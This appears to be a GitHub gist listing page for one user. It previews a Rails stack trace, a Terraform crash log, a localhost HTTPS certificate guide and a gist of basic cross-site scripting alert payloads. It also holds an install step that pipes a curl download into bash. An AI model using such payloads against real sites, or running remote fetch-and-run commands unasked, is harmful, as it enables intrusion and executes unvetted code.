Skip to content

Instantly share code, notes, and snippets.

Traceback (most recent call last):
85: from bin/rails:4:in `<main>'
84: from /bundle/ruby/2.7.0/gems/activesupport-6.0.2.1/lib/active_support/dependencies.rb:325:in `require'
83: from /bundle/ruby/2.7.0/gems/activesupport-6.0.2.1/lib/active_support/dependencies.rb:291:in `load_dependency'
82: from /bundle/ruby/2.7.0/gems/activesupport-6.0.2.1/lib/active_support/dependencies.rb:325:in `block in require'
81: from /bundle/ruby/2.7.0/gems/bootsnap-1.4.5/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:30:in `require'
80: from /bundle/ruby/2.7.0/gems/bootsnap-1.4.5/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:21:in `require_with_bootsnap_lfi'
79: from /bundle/ruby/2.7.0/gems/bootsnap-1.4.5/lib/bootsnap/load_path_cache/loaded_features_index.rb:92:in `register'
78: from /bundle/ruby/2.7.0/gems/bootsnap-1.4.5/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:22:in `block in require_with_bootsnap_lfi'
77: from /bundle/ruby/2.7.0/gems/bootsnap-1.4.5/lib/bootsnap/load_path_cache
@majkelcc
majkelcc / XSS
Created February 26, 2020 09:40
<script>alert(123);</script>
<ScRipT>alert("XSS");</ScRipT>
<script>alert(123)</script>
<script>alert("hellox worldss");</script>
<script>alert(�XSS�)</script>
<script>alert(�XSS�);</script>
<script>alert(�XSS�)</script>
�><script>alert(�XSS�)</script>
<script>alert(/XSS�)</script>
<script>alert(/XSS/)</script>
Requirements
- python 2.7
- docker for mac
Python packages:
- pip install macfsevents
- pip install pyyaml
Install chang:
1. bash -c "$(curl -fsSL https://raw.githubusercontent.com/majkelcc/chang-sync/master/install)"
@majkelcc
majkelcc / 2018-https-localhost.md
Created July 11, 2018 19:22 — forked from cecilemuller/2019-https-localhost.md
How to create an HTTPS certificate for localhost domains

How to create an HTTPS certificate for localhost domains

This focuses on generating the certificates for loading local virtual hosts hosted on your computer, for development only.

Do not use self-signed certificates in production ! For online certificates, use Let's Encrypt instead (tutorial).

@majkelcc
majkelcc / crash.log
Created March 28, 2018 19:44
Terraform crash
2018/03/28 19:42:29 [INFO] Terraform version: 0.11.5 342c529aa58d824f2f2ed1f6ec6118059876aad0
2018/03/28 19:42:29 [INFO] Go runtime version: go1.10
2018/03/28 19:42:29 [INFO] CLI args: []string{"/go/bin/terraform", "destroy"}
2018/03/28 19:42:29 [DEBUG] Attempting to open CLI config file: /root/.terraformrc
2018/03/28 19:42:29 [DEBUG] File doesn't exist, but doesn't need to. Ignoring.
2018/03/28 19:42:29 [INFO] CLI command args: []string{"destroy"}
2018/03/28 19:42:29 [INFO] command: empty terraform config, returning nil
2018/03/28 19:42:29 [DEBUG] command: no data state file found for backend config
2018/03/28 19:42:29 [DEBUG] New state was assigned lineage "d2a4a7dc-2f2d-4d22-33c4-7c1db9c8d53e"
2018/03/28 19:42:29 [INFO] command: backend initialized: <nil>